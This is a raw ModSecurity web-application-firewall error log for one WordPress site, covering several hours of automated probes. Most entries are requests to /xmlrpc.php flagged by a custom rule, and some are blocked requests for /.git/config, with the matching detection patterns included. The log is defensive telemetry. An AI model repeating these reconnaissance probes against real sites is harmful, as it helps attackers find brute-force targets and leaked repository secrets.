[Tue Apr 14 15:37:37.982286 2026] [:error] [pid 60074:tid 60081] [client 120.56.216.73:52031] [client 120.56.216.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.56.216.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3uwetqnEmNU9vpHCntTgAAAMU"]
[Tue Apr 14 15:37:48.175325 2026] [:error] [pid 59987:tid 60064] [client 120.56.216.73:52427] [client 120.56.216.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.56.216.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3uzFWpk-Tfi6_vLKqvaQAAAJE"]
[Tue Apr 14 15:37:58.742712 2026] [:error] [pid 60074:tid 60093] [client 120.56.216.73:52827] [client 120.56.216.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.56.216.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3u1utqnEmNU9vpHCntlgAAANE"]
[Tue Apr 14 15:40:08.412952 2026] [:error] [pid 59986:tid 60021] [client 46.224.56.168:37330] [client 46.224.56.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.56.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3vWJ6axKeW6bX4H7f0lwAAAEE"]
[Tue Apr 14 15:48:04.886773 2026] [:error] [pid 59985:tid 60003] [client 204.48.18.182:54486] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3xNOgHaxkvLE6V1kkXLgAAAAo"]
[Tue Apr 14 15:57:19.066963 2026] [:error] [pid 60074:tid 60099] [client 157.245.42.243:43972] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3zX-tqnEmNU9vpHCn4TwAAANc"]
[Tue Apr 14 16:01:17.804578 2026] [:error] [pid 59986:tid 60038] [client 43.157.180.116:46526] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad30TZ6axKeW6bX4H7f6CAAAAFI"]
[Tue Apr 14 16:01:55.247110 2026] [:error] [pid 59987:tid 60050] [client 147.182.243.3:47036] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad30c1Wpk-Tfi6_vLKq5DAAAAIM"]
[Tue Apr 14 16:04:02.615283 2026] [:error] [pid 59986:tid 60042] [client 137.184.230.10:48104] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.230.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad308p6axKeW6bX4H7f7rAAAAFY"]
[Tue Apr 14 16:15:39.630706 2026] [:error] [pid 60074:tid 60077] [client 23.98.148.92:48042] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad33q-tqnEmNU9vpHCkFMgAAAME"]
[Tue Apr 14 16:32:46.622072 2026] [:error] [pid 60074:tid 60100] [client 138.68.162.171:58492] [client 138.68.162.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.162.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad37rutqnEmNU9vpHCkRFgAAANg"]
[Tue Apr 14 16:35:44.068817 2026] [:error] [pid 59987:tid 60060] [client 137.184.132.132:54582] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad38YFWpk-Tfi6_vLKrLLAAAAI0"]
[Tue Apr 14 16:35:49.359654 2026] [:error] [pid 60074:tid 60097] [client 137.184.132.132:40374] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad38ZetqnEmNU9vpHCkTHgAAANU"]
[Tue Apr 14 16:43:21.615888 2026] [:error] [pid 59987:tid 60056] [client 172.238.64.140:57664] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3-KVWpk-Tfi6_vLKrN8wAAAIk"]
[Tue Apr 14 16:44:41.467432 2026] [:error] [pid 59986:tid 60034] [client 54.38.241.153:44610] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.241.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3-eZ6axKeW6bX4H7cJvwAAAE4"]
[Tue Apr 14 16:45:51.959302 2026] [:error] [pid 60074:tid 60083] [client 51.83.154.40:44796] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3-v-tqnEmNU9vpHCkYvQAAAMc"]
[Tue Apr 14 16:46:12.515019 2026] [:error] [pid 59986:tid 60035] [client 52.178.68.120:47508] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3-1J6axKeW6bX4H7cKAwAAAE8"]
[Tue Apr 14 16:48:52.148244 2026] [:error] [pid 59987:tid 60050] [client 134.122.21.213:37260] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3_dFWpk-Tfi6_vLKrPlQAAAIM"]
[Tue Apr 14 16:49:33.274344 2026] [:error] [pid 60074:tid 60084] [client 93.91.154.4:37836] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad3_netqnEmNU9vpHCkawAAAAMg"]
[Tue Apr 14 16:51:21.370634 2026] [:error] [pid 59985:tid 60004] [client 148.113.189.81:47460] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4ACegHaxkvLE6V1kkoagAAAAs"]
[Tue Apr 14 16:55:41.574314 2026] [:error] [pid 59987:tid 60053] [client 148.113.180.195:39462] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4BDVWpk-Tfi6_vLKrTTQAAAIY"]
[Tue Apr 14 17:00:29.700578 2026] [:error] [pid 59986:tid 60028] [client 93.91.154.4:46132] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4CLZ6axKeW6bX4H7cShwAAAEg"]
[Tue Apr 14 17:03:03.983898 2026] [:error] [pid 59986:tid 60021] [client 192.250.239.237:53670] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4Cx56axKeW6bX4H7cUwgAAAEE"]
[Tue Apr 14 17:06:09.379943 2026] [:error] [pid 59987:tid 60047] [client 82.223.70.218:45444] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4DgVWpk-Tfi6_vLKrcFwAAAIA"]
[Tue Apr 14 17:10:42.981767 2026] [:error] [pid 60074:tid 60092] [client 147.45.149.57:49650] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4EkutqnEmNU9vpHCkw0wAAANA"]
[Tue Apr 14 17:11:59.911806 2026] [:error] [pid 22177:tid 22188] [client 157.230.98.69:43740] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4E34TVeJSXHDIlEDssIwAAAQk"]
[Tue Apr 14 17:12:51.560362 2026] [:error] [pid 22177:tid 22186] [client 13.235.96.22:53518] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4FE4TVeJSXHDIlEDssZgAAAQc"]
[Tue Apr 14 17:14:28.284147 2026] [:error] [pid 59985:tid 59997] [client 35.226.125.165:60864] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4FdOgHaxkvLE6V1kky9wAAAAQ"]
[Tue Apr 14 17:19:56.591703 2026] [:error] [pid 60074:tid 60090] [client 85.128.143.145:43128] [client 85.128.143.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4GvOtqnEmNU9vpHCk2IAAAAM4"]
[Tue Apr 14 17:29:05.536386 2026] [:error] [pid 22177:tid 22185] [client 147.182.180.16:33186] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4I4YTVeJSXHDIlEDszegAAAQY"]
[Tue Apr 14 17:46:38.103598 2026] [:error] [pid 60074:tid 60078] [client 185.199.223.93:45878] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4M_utqnEmNU9vpHClEhgAAAMI"]
[Tue Apr 14 17:50:29.899423 2026] [:error] [pid 60074:tid 60077] [client 52.178.68.120:58772] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4N5etqnEmNU9vpHClHpAAAAME"]
[Tue Apr 14 17:50:44.807936 2026] [:error] [pid 59985:tid 60009] [client 62.169.28.251:41128] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4N9OgHaxkvLE6V1kk56QAAABA"]
[Tue Apr 14 18:02:34.642021 2026] [:error] [pid 59986:tid 60027] [client 67.205.43.38:45418] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4Qup6axKeW6bX4H7ckPgAAAEc"]
[Tue Apr 14 18:18:58.013655 2026] [:error] [pid 59986:tid 60033] [client 23.98.148.92:39696] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4Ukp6axKeW6bX4H7coxQAAAE0"]
[Tue Apr 14 18:20:44.090489 2026] [:error] [pid 59986:tid 60032] [client 5.189.168.141:53366] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4U_J6axKeW6bX4H7cpigAAAEw"]
[Tue Apr 14 18:25:38.427032 2026] [:error] [pid 60074:tid 60090] [client 35.242.254.186:37636] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4WIutqnEmNU9vpHClfwwAAAM4"]
[Tue Apr 14 18:35:50.338955 2026] [:error] [pid 60074:tid 60096] [client 141.94.27.49:36210] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4YhutqnEmNU9vpHClkUAAAANQ"]
[Tue Apr 14 18:38:33.284801 2026] [:error] [pid 22177:tid 22180] [client 15.235.163.7:41542] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4ZKYTVeJSXHDIlEDtTCQAAAQE"]
[Tue Apr 14 18:39:45.862770 2026] [:error] [pid 60074:tid 60082] [client 104.248.23.4:39362] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4ZcetqnEmNU9vpHCloXgAAAMY"]
[Tue Apr 14 18:44:18.079351 2026] [:error] [pid 59987:tid 60071] [client 88.87.70.158:33610] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4aglWpk-Tfi6_vLKr7kwAAAJg"]
[Tue Apr 14 18:50:28.956008 2026] [:error] [pid 60074:tid 60085] [client 137.184.132.132:53078] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad4b9OtqnEmNU9vpHCluhwAAAMk"]
[Tue Apr 14 18:50:33.124859 2026] [:error] [pid 60074:tid 60081] [client 137.184.132.132:37530] [client 137.184.132.132] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ad4b-etqnEmNU9vpHClungAAAMU"]
[Tue Apr 14 18:56:49.501760 2026] [:error] [pid 59985:tid 60005] [client 164.132.207.73:58524] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4dcegHaxkvLE6V1klIwwAAAAw"]
[Tue Apr 14 18:59:17.873936 2026] [:error] [pid 59987:tid 60065] [client 104.37.191.206:45412] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4eBVWpk-Tfi6_vLKoAewAAAJI"]
[Tue Apr 14 19:02:21.254870 2026] [:error] [pid 22177:tid 22181] [client 52.178.68.120:37966] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4evYTVeJSXHDIlEDtdowAAAQI"]
[Tue Apr 14 19:04:39.041812 2026] [:error] [pid 59986:tid 60032] [client 144.91.86.124:38768] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4fR56axKeW6bX4H7c09QAAAEw"]
[Tue Apr 14 19:10:52.899870 2026] [:error] [pid 59986:tid 60043] [client 20.212.251.69:60626] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4gvJ6axKeW6bX4H7c3GwAAAFc"]
[Tue Apr 14 19:14:13.209343 2026] [:error] [pid 59987:tid 60068] [client 45.33.94.199:32874] [client 45.33.94.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.94.199, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4hhVWpk-Tfi6_vLKoH1AAAAJU"]
[Tue Apr 14 19:22:09.997899 2026] [:error] [pid 59987:tid 60066] [client 87.98.165.243:44680] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4jYVWpk-Tfi6_vLKoPUwAAAJM"]
[Tue Apr 14 19:26:02.381805 2026] [:error] [pid 59986:tid 60034] [client 85.128.143.134:36066] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4kSp6axKeW6bX4H7c9DgAAAE4"]
[Tue Apr 14 19:28:43.844189 2026] [:error] [pid 60074:tid 60083] [client 212.129.7.184:42198] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4k6-tqnEmNU9vpHCmAfgAAAMc"]
[Tue Apr 14 19:33:42.545625 2026] [:error] [pid 60074:tid 60091] [client 155.133.132.65:43764] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4mFutqnEmNU9vpHCmCTAAAAM8"]
[Tue Apr 14 19:33:51.530014 2026] [:error] [pid 60074:tid 60080] [client 139.99.122.191:60126] [client 139.99.122.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.122.191, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4mH-tqnEmNU9vpHCmCUwAAAMQ"]
[Tue Apr 14 19:37:53.139771 2026] [:error] [pid 59986:tid 60044] [client 91.204.161.79:47412] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4nEZ6axKeW6bX4H7dB9AAAAFg"]
[Tue Apr 14 19:43:48.655707 2026] [:error] [pid 59987:tid 60068] [client 116.193.73.128:64923] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.73.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad4odFWpk-Tfi6_vLKod0QAAAJU"]
